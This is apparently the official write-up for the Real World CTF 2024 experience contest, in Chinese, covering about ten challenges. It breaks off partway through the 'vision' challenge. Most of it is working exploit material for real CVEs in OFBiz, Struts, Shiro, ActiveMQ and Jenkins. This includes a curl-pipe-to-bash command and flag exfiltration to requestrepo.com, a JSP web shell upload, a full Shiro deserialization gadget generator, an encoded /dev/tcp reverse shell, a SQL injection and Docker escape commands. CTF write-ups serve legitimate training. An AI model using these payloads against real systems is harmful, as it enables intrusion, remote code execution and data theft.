【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

WriteUp 3个月前 admin
68 0 0


【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!








Challenge






01
Be-a-Framework-Hacker



Clone-and-Pwn, difficulty:Baby


由于提供了附件,可以使用如下命令在本地启动一个服务

docker build . -t rwctf:be-a-framework-hackerdocker run --rm -p 8443:8443 rwctf:be-a-framework-hacker

这题主要考察的漏洞是CVE-2023-51467,通过?USERNAME=&PASSWORD=&requirePasswordChange=Y绕过鉴权。绕过鉴权之后可以执行 groovy 表达式, 这里使用的是 groovy 的 “”.execute()语法来执行命令,绕过沙箱,具体 payload 如下

POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1Host: 127.0.0.1:8443Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.123 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 81groovyProgram=["sh","-c","curl http://igr3yxom.requestrepo.com | bash"].execute()

这里使用的 https://requestrepo.com/ 服务来控制回显,回显内容如下

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

curl http://requestrepo.com/igr3yxom/ --data $(/readflag)

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!



02
Be-more-Elegant



Webdifficulty:Baby


这里考察的是 s2-066 ,提供了附件下载下来之后,可以进行代码审计

 be.more.elegant.filter.JspFilter#doFilter 中限制了 jsp 访问路径只能是  /view 开头的,其他路由的 jsp 是无法访问的。

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

be.more.elegant.HeaderIconAction#doUpload这个方法对应的路由是/upload.action

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

由于 s2 的限制,正常上传的文件名是无法包含 .. 的。所以我们通过 s2 066 这个漏洞,由于 s2 对于大小不敏感,所以我们可以使用如下 payload 去对 fileUploadFileName 进行二次赋值,让实际的  fileUploadFileName 内容为 ../../../views/a.jsp ,这样就可以通过跨目录写 jsp 到 views 目录下。

ps: 这里要注意在使用这个包之前需要上传一个正常的文件,保证 md5 的目录可以创建出来。因为 ../ 在 linux 系统下是无法跳到一个不存在的目录的。

POST /upload.action;jsessionid=D2DF7842CD2DEA1BE82A7300A134F655 HTTP/1.1User-Agent: PostmanRuntime/7.36.1Accept: */*Host: 192.168.144.1:8081Accept-Encoding: gzip, deflate, brConnection: closeContent-Type: multipart/form-data; boundary=--------------------------319187937788325310215959Content-Length: 1737----------------------------319187937788325310215959Content-Disposition: form-data; name="FileUpload"; filename="a.jsp"Content-Type: application/octet-stream<%@ page language="java" contentType="text/html; charset=UTF-8"    pageEncoding="UTF-8"%><%@ page import="java.io.*" %><!DOCTYPE html><html><head>    <title>Command Execution</title></head><body>    <%        String command = request.getParameter("a");        if (command != null && !command.isEmpty()) {            String output = "";            try {                Process process = Runtime.getRuntime().exec(command);                BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));                String line;                while ((line = reader.readLine()) != null) {                    output += line + "<br>";                }                reader.close();                int exitCode = process.waitFor();                if (exitCode != 0) {                    output += "Command execution failed with exit code: " + exitCode;                }            } catch (IOException | InterruptedException e) {                output += "Error executing command: " + e.getMessage();            }            out.println("<p>Executed command: " + command + "</p>");            out.println("<p>Output:</p>");            out.println("<pre>" + output + "</pre>");        } else {            out.println("<p>No command provided.</p>");        }    %></body></html>----------------------------319187937788325310215959Content-Disposition: form-data; name="fileUploadFileName"../../../views/a.jsp----------------------------319187937788325310215959--



03
Old-Shiro



Webdifficulty:Normal


使用以下 docker-compose 文件搭建

version: '3.3'services:  nginx:    image: nginx:1.20.1    ports:      - "0.0.0.0:8888:8888"    volumes:        - ./nginx.conf:/etc/nginx/nginx.conf    networks:      - internal_network      - out_network  backend:    build:      context: ./backend      dockerfile: Dockerfile    networks:      - internal_networknetworks:    internal_network:        internal: true        ipam:            driver: default    out_network:        ipam:            driver: default

其中 nginx 主要是将 java 的端口代理出来,里面的 backend 服务是一个 shiro550 的漏洞环境,配置为不出网。

首先分析 oldshiro 这个 jar 包,可以看到其设置了最大的 header 长度为 3000

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

由于目标配置的是不出网的场景,因此我们需要考虑使用不出网的手法来进行 RCE,且 cookie 不能太大。

如果使用网上的工具基本上 cookie 都会大于 3k

package org.example;import com.nqzero.permit.Permit;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;import org.objectweb.asm.*;import javax.crypto.BadPaddingException;import javax.crypto.Cipher;import javax.crypto.IllegalBlockSizeException;import javax.crypto.NoSuchPaddingException;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.io.*;import java.lang.reflect.AccessibleObject;import java.lang.reflect.Field;import java.math.BigInteger;import java.net.URLEncoder;import java.security.*;import java.util.Base64;import java.util.PriorityQueue;public class Main {    public static void main(String[ ] args) throws Exception {        String key = "kPH+bIxk5D2deZiIxcaaaA==";        String javaCode = "Object attr = java.lang.Class.forName("org.springframework.web.context.request.RequestContextHolder").getMethod("currentRequestAttributes", new java.lang.Class[ ]{}).invoke(null,null);" +                "Object resp = attr.getClass().getMethod("getResponse", null).invoke(attr, null);" +                "String flag = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("/flag", new java.lang.String[ ]{})));" +                "resp.getClass().getMethod("addHeader", new java.lang.Class[ ]{java.lang.String.class, java.lang.String.class}).invoke(resp, new java.lang.Object[ ]{"r", flag});";        Object cbGadget = getCbGadget(javaCode);        byte[ ] cbGadgetBytes = Serialization.serialize(cbGadget);        String s = doShiroEncryption(cbGadgetBytes, key);        System.out.println("Cookie length: " + s.length());        System.out.println("Cookie is: " + s);    }    public static byte[ ] base64Decode(String key) {        return Base64.getDecoder().decode(key);    }    public static String base64Encode(byte[ ] key) {        return Base64.getEncoder().encodeToString(key);    }    public static String urlEncode(String key) throws UnsupportedEncodingException {        return URLEncoder.encode(key, "UTF-8");    }    public static String doShiroEncryption(byte[ ] content, String keyInBase64) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {        byte[ ] key = base64Decode(keyInBase64);        byte[ ] iv = generateRandomIv();        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");        Key keySpec = new SecretKeySpec(key, "AES");        IvParameterSpec ivSpec = new IvParameterSpec(iv);        cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);        byte[ ] encrypted = cipher.doFinal(content);        byte[ ] cipherText = new byte[iv.length + encrypted.length];        System.arraycopy(iv, 0, cipherText, 0, iv.length);        System.arraycopy(encrypted, 0, cipherText, iv.length, encrypted.length);        return base64Encode(cipherText);    }    private static byte[ ] generateRandomIv() throws NoSuchAlgorithmException {        byte[ ] iv = new byte[16];        SecureRandom random = SecureRandom.getInstance("SHA1PRNG");        random.nextBytes(iv);        return iv;    }    public static Object getCbGadget(String javaCode) throws Exception {        final Object templates = Gadgets.createTemplatesImpl(javaCode);        // mock method name until armed        final BeanComparator comparator = new BeanComparator("lowestSetBit");        // create queue with numbers and basic comparator        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);        // stub data for replacement later        queue.add(new BigInteger("1"));        queue.add(new BigInteger("1"));        // switch method called by comparator        Reflections.setFieldValue(comparator, "property", "outputProperties");        // switch contents of queue        final Object[ ] queueArray = (Object[ ]) Reflections.getFieldValue(queue, "queue");        queueArray[0] = templates;        queueArray[1] = templates;        return queue;    }    public static class Serialization {        public static byte[ ] serialize(Object obj) throws IOException {            final ByteArrayOutputStream out = new ByteArrayOutputStream();            serialize(obj, out);            return out.toByteArray();        }        public static void serialize(Object obj, OutputStream out) throws IOException {            final ObjectOutputStream objOut = new ObjectOutputStream(out);            objOut.writeObject(obj);        }    }    public static class Gadgets {        public static Object createTemplatesImpl(final String command) throws Exception {            if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {                return createTemplatesImpl(                        command,                        Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),                        Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),                        Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));            }            return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);        }        public static <T> T createTemplatesImpl(final String javaCode, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)                throws Exception {            final T templates = tplClass.newInstance();            ClassPool pool = ClassPool.getDefault();            pool.insertClassPath(new ClassClassPath(abstTranslet));            final CtClass clazz = pool.makeClass("StubTransletPayload");            clazz.makeClassInitializer().insertAfter(javaCode);            clazz.setName("ysoserial.Pwner" + System.nanoTime());            CtClass superC = pool.get(abstTranslet.getName());            clazz.setSuperclass(superC);            byte[ ] classBytes = clazz.toBytecode();            // inject class bytes into instance            classBytes = shortenClassBytes(classBytes);            byte[ ] fooBytes = shortenClassBytes(ClassFiles.classAsBytes(Foo.class));            Reflections.setFieldValue(templates, "_bytecodes", new byte[ ][ ]{                    classBytes, ClassFiles.classAsBytes(Foo.class)            });            // required to make TemplatesImpl happy            Reflections.setFieldValue(templates, "_name", "1");            Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());            return templates;        }    }    public static class ClassFiles {        public static String classAsFile(final Class<?> clazz) {            return classAsFile(clazz, true);        }        public static String classAsFile(final Class<?> clazz, boolean suffix) {            String str;            if (clazz.getEnclosingClass() == null) {                str = clazz.getName().replace(".", "/");            } else {                str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();            }            if (suffix) {                str += ".class";            }            return str;        }        public static byte[ ] classAsBytes(final Class<?> clazz) {            try {                final byte[ ] buffer = new byte[1024];                final String file = classAsFile(clazz);                final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);                if (in == null) {                    throw new IOException("couldn't find '" + file + "'");                }                final ByteArrayOutputStream out = new ByteArrayOutputStream();                int len;                while ((len = in.read(buffer)) != -1) {                    out.write(buffer, 0, len);                }                return out.toByteArray();            } catch (IOException e) {                throw new RuntimeException(e);            }        }    }    public static class Foo implements Serializable {        private static final long serialVersionUID = 8207363842866235160L;    }    public static class Reflections {        public static void setAccessible(AccessibleObject member) {            String versionStr = System.getProperty("java.version");            int javaVersion = Integer.parseInt(versionStr.split("\.")[0]);            if (javaVersion < 12) {                // quiet runtime warnings from JDK9+                Permit.setAccessible(member);            } else {                // not possible to quiet runtime warnings anymore...                // see https://bugs.openjdk.java.net/browse/JDK-8210522                // to understand impact on Permit (i.e. it does not work                // anymore with Java >= 12)                member.setAccessible(true);            }        }        public static Field getField(final Class<?> clazz, final String fieldName) {            Field field = null;            try {                field = clazz.getDeclaredField(fieldName);                setAccessible(field);            }            catch (NoSuchFieldException ex) {                if (clazz.getSuperclass() != null)                    field = getField(clazz.getSuperclass(), fieldName);            }            return field;        }        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {            final Field field = getField(obj.getClass(), fieldName);            field.set(obj, value);        }        public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {            final Field field = getField(obj.getClass(), fieldName);            return field.get(obj);        }    }    public static byte[ ] shortenClassBytes(byte[ ] classBytes) {        ClassReader cr = new ClassReader(classBytes);        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);        int api = Opcodes.ASM7;        ClassVisitor cv = new ShortClassVisitor(api, cw);        int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;        cr.accept(cv, parsingOptions);        byte[ ] out = cw.toByteArray();        return out;    }    public static class ShortClassVisitor extends ClassVisitor {        private final int api;        public ShortClassVisitor(int api, ClassVisitor classVisitor) {            super(api, classVisitor);            this.api = api;        }        @Override        public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[ ] exceptions) {            MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);            return new ShortMethodAdapter(this.api, mv);        }    }    public static class ShortMethodAdapter extends MethodVisitor implements Opcodes {        public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {            super(api, methodVisitor);        }        @Override        public void visitLineNumber(int line, Label start) {            // delete line number        }    }}

pom.xml 如下

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>    <groupId>org.example</groupId>    <artifactId>OldShiroSolution</artifactId>    <version>1.0-SNAPSHOT</version>    <properties>        <maven.compiler.source>8</maven.compiler.source>        <maven.compiler.target>8</maven.compiler.target>        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>    </properties>    <dependencies>        <dependency>            <groupId>org.javassist</groupId>            <artifactId>javassist</artifactId>            <version>3.29.2-GA</version>        </dependency>        <dependency>            <groupId>com.nqzero</groupId>            <artifactId>permit-reflect</artifactId>            <version>0.3</version>        </dependency>        <dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.1</version>        </dependency>        <dependency>            <groupId>commons-beanutils</groupId>            <artifactId>commons-beanutils</artifactId>            <version>1.9.2</version>        </dependency>        <dependency>            <groupId>org.ow2.asm</groupId>            <artifactId>asm-tree</artifactId>            <version>7.3.1</version>        </dependency>    </dependencies></project>

发包如下

GET /doLogin HTTP/1.1Host: 121.40.80.33:8888Cookie: rememberMe_rwctf_2024=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-Insecure-Requests: 1

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!




04
Be-an-ActiveMq-Hacker



Clone-and-Pwndifficulty:Baby


环境搭建

使用以下 docker-compose 文件搭建环境

version: '3.3'services:  activemq:    container_name: activemq    ports:      - '61616:61616'    image: lewinc/activemq:5.18.2

解题

使用 CVE-2023-46604 进行攻击即可,使用 org.springframework.context.support.ClassPathXmlApplicationContext

 java 脚本如下

package exps;import java.io.*;import java.net.Socket;public class ActiveMqThrowableExp {    public static void main(String[ ] args) throws IOException {        String ip = "target-ip-address";        int port = 61616;        String remoteXmlUrl = "http://your-http-server:9999/evil.xml";        Socket sck = new Socket(ip, port);        DataOutputStream out = null;        DataInputStream in = null;        out = new DataOutputStream(new BufferedOutputStream(new FileOutputStream("test.txt")));        out.writeInt(32);        out.writeByte(31);        out.writeInt(1);        out.writeBoolean(true);        out.writeInt(1);        out.writeBoolean(true);        out.writeBoolean(true);        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");        out.writeBoolean(true);        out.writeUTF(remoteXmlUrl);        out.close();        in = new DataInputStream(new BufferedInputStream(new FileInputStream("test.txt")));        OutputStream os = sck.getOutputStream();        int length = in.available();        byte[ ] buf = new byte[length];        in.readFully(buf);        os.write(buf);        in.close();        sck.close();        File file = new File("test.txt");        file.delete();    }}

然后在恶意服务器上分别启动一个 nc 用来收反弹 shell,另一个启动 http 服务用来提供 xml,注意下面的 value 是 html entity 编码后的,可以解码后替换为接受 shell 的 ip 和端口即可收到反弹shell

提供的 xml 如下

注意需要修改实体编码中的localhost为你的接收端主机

<?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans"  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">    <constructor-arg>      <list>        <value>/bin/bash</value>        <value>-c</value>        <value>&#x2f;&#x62;&#x69;&#x6e;&#x2f;&#x62;&#x61;&#x73;&#x68;&#x20;&#x2d;&#x69;&#x20;&#x3e;&#x26;&#x20;&#x2f;&#x64;&#x65;&#x76;&#x2f;&#x74;&#x63;&#x70;&#x2f;&#x6c;&#x6f;&#x63;&#x61;&#x6c;&#x68;&#x6f;&#x73;&#x74;&#x2f;&#x39;&#x39;&#x39;&#x39;&#x20;&#x30;&#x3e;&#x26;&#x31;          </value>      </list>    </constructor-arg>  </bean></beans>

远程收到shell,获取flag

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!



05
YourSqlTrick



Webdifficulty:Baby


使用 N 的方法绕过内置过滤,读取 flag 表中的 flag_value 字段:

/tags.php?/alias/aaaaaaa%27||+1=Nunion+select+1,flag_value,3,4,5,6,7,8,0,10,11+from+flag+where+1=%271



06
Be-a-Captcha-Guesser



Webdifficulty:Normal


这个题目在首页提供了部分的源码,可以看出来是 django 的 wagtail 框架。主要是一个允许重置密码的功能,这里可以通过验证码得到其路由是/captcha/image/566babcf709fa2482d8dec2b71fd930474c8b34c/对此比较敏感的同学可以想到这个是一个 django 的验证码依赖 django-simple-captcha

通过信息搜集可以知道管理员的邮箱是[email protected],图片的 seed 为566babcf709fa2482d8dec2b71fd930474c8b34c ,图片的 size 为 78 x 31

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

这个题目可以看作是 JumpserverCVE-2023-42820Lite 版本

ps: 这里需要对下面的脚本里面的 CAPTCHA_IMAGE_SIZE 进行修改,将其改成图片的大小

命令如下

python .run.py -t http://121.40.246.97:39968/ --name admin --email admin@rwctf.game --seed 566babcf709fa2482d8dec2b71fd930474c8b34c --cscookie 60D8JJuDvGCCauRifigL5ycFXR1NPPd3 --cstoken pWB0Zc9JkmV9KrLzEjDpG9KzUME1OkLYlM4YyLtcFSnBKLsHJrJ0BxM4HtvEtZOR

脚本:

import loggingimport sysimport randomimport stringimport argparsefrom urllib.parse import urljoinlogging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'import requests_htmlimport urllib3urllib3.disable_warnings()session = requests_html.HTMLSession()session.headers = {    "Connection": "close",    "Cache-Control": "max-age=0",    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.30 Safari/537.36",    "Accept-Encoding": "deflate",    "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",}session.verify = Falsesession.proxies =  {    'http':"http://127.0.0.1:48080",    'https': "http://127.0.0.1:48080",}def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):    args_names = ['lower', 'upper', 'digit', 'special_char']    args_values = [lower, upper, digit, special_char]    args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]    args_string_map = dict(zip(args_names, args_string))    kwargs = dict(zip(args_names, args_values))    kwargs_keys = list(kwargs.keys())    kwargs_values = list(kwargs.values())    args_true_count = len([i for i in kwargs_values if i])    assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'    assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'    can_startswith_special_char = args_true_count == 1 and special_char    chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])    while True:        password = list(random.choice(chars) for i in range(length))        for k, v in kwargs.items():            if v and not (set(password) & set(args_string_map[k])):                # 没有包含指定的字符, retry                break        else:            if not can_startswith_special_char and password[0] in args_string_map['special_char']:                # 首位不能为特殊字符, retry                continue            else:                # 满足要求终止 while 循环                break    password = ''.join(password)    return passworddef nop_random(seed: str):    CAPTCHA_IMAGE_SIZE = (78, 31) # Change This    size = CAPTCHA_IMAGE_SIZE    random.seed(seed)    for i in range(4):        random.randrange(-35, 35,1)    for p in range(int(size[0] * size[1] * 0.1)):        random.randint(0, size[0])        random.randint(0, size[1])def fix_seed(target: str, seed: str):    def _request(i: int, u: str):        logging.info('send %d request to %s', i, u)        response = session.get(u, timeout=5)        assert response.status_code == 200        assert response.headers['Content-Type'] == 'image/png'    url = urljoin(target, '/captcha/image/' + seed + '/')    for idx in range(0,1):        _request(idx, url)def send_code(target: str, name:str,email: str,args):    url = urljoin(target, "/reset-password/" )    session.headers['Cookie'] ="csrftoken="+args.cscookie    response = session.post(url, data={        'email': email,        'username': name,        'csrfmiddlewaretoken': args.cstoken,    }, allow_redirects=False,headers=session.headers)    assert response.status_code == 200    logging.info("send code headers: %r response: %r", response.headers, response.text)def do_setup_password(target: str):    url = urljoin(target, "/do-reset-password/" )    response = session.get(url,allow_redirects=False)    logging.info("send code headers: %r response: %r", response.headers, response.text)def main(target: str,name:str, email: str, seed: str,args):    fix_seed(target, seed)    nop_random(seed)    send_code(target, name,email,args)    do_setup_password(target)    code = random_string(6, lower=False, upper=False)    print(code)    # logging.info("your code is %s", code)if __name__ == "__main__":    parser = argparse.ArgumentParser(description='Process some integers.')    parser.add_argument('-t', '--target', type=str, required=True, help='target url')    parser.add_argument('--name', type=str, required=True, help='account name')    parser.add_argument('--email', type=str, required=True, help='account email')    parser.add_argument('--seed', type=str, required=True, help='seed from captcha url')    parser.add_argument('--cscookie', type=str, required=True, help='csrf cookie')    parser.add_argument('--cstoken', type=str, required=True, help='csrf token')    args = parser.parse_args()    main(args.target,args.name, args.email, args.seed,args)

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

这里可以得到验证码为: 788593

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!


使用重置好的密码进行登录,即可在后台获取flag

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!



07
Be-a-Security-Research



Webdifficulty:Baby


直接使用 jenkins-cli 利用即可:

java -jar jenkins-cli.jar -s http://xxxx/ -http who-am-i “@/flag”



08
Be-a-Docker-Escaper-4



Pwndifficulty:Normal


这个题目的出题思路来自于:https://www.anquanke.com/post/id/290540 这篇文章。选手成功通过 ssh 成功连接上环境后,会发现这是一个容器环境,而且通过 ps -aux

命令能看到这个容器的启动命令:

1000        1113  0.0  0.0   6188   992 pts/0    S+   06:25   0:00 sleep 100001000        1114  0.0  2.3 1180376 23264 pts/0   Sl+  06:25   0:00 docker run --rm -it --pid=host --security-opt=apparmor=unconfined ubuntu bash

可以发现该容器共享了 pid, 因此能通过 ps命令看到容器外的进程。此外还有一个 uid 为 1000 的 sleep 进程。 预期解法如下:

#!/bin/shpid=$(pidof sleep)useradd -u 1000 usersu user -c "cat /proc/$pid/root/flag1"

创建一个 uid 为 1000 的用户, 然后通过读 sleep 进程下的 /proc/$PID/root 的文件就能读到 flag。



09
Be-a-Cloud-Hacker



Miscdifficulty:Baby


当成功获取 Be-a-Docker-Escaper-4的容器外权限后, 我们可以先把权限提升到root, 通过题目描述,我们需要找到 user这个用户的密码。 最终可以在 cloud init的目录下找到 user-data.txt里面存储了 cloud init的配置文件, 能找到一个明文密码, 完整的利用如下:

#!/bin/shapt updateapt install docker.iopid=$(pidof sleep)groupadd -g 1001 useruseradd -m -g 1001 -u 1000 usergroupadd -g 1000 docker # modify /etc/group# root@e2bbe4774805:/# cat /etc/group | grep docker# docker:x:1000:userusermod -aG docker usersu user -c "cat /proc/$pid/root/flag1"su userpid=$(pidof sleep)docker -H unix:///proc/$pid/root/run/docker.sock run -it --privileged ubuntu bash# docker -H unix:///proc/$pid/root/run/docker.sock ps -a#  ---- The commands running in the privileged container are as follows ----# mkdir /tmp/a# mount /dev/sda1 /tmp/a# chmod 777 /tmp/a/var/lib/cloud/instances/*/user-data.txt# cat /tmp/a/var/lib/cloud/instances/*/user-data.txt |grep rwctf

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!



10
vision



Pwndifficulty:Baby


连上之后会发现这是一个 Restricted shell , 其支持的命令有如下:

 ping, uname, pwd, date, whoami, poweroff, id, showKey, openthedoor

预期的题目解法是通过逆向发现, 判断是否合法的命令的时候的代码如下:

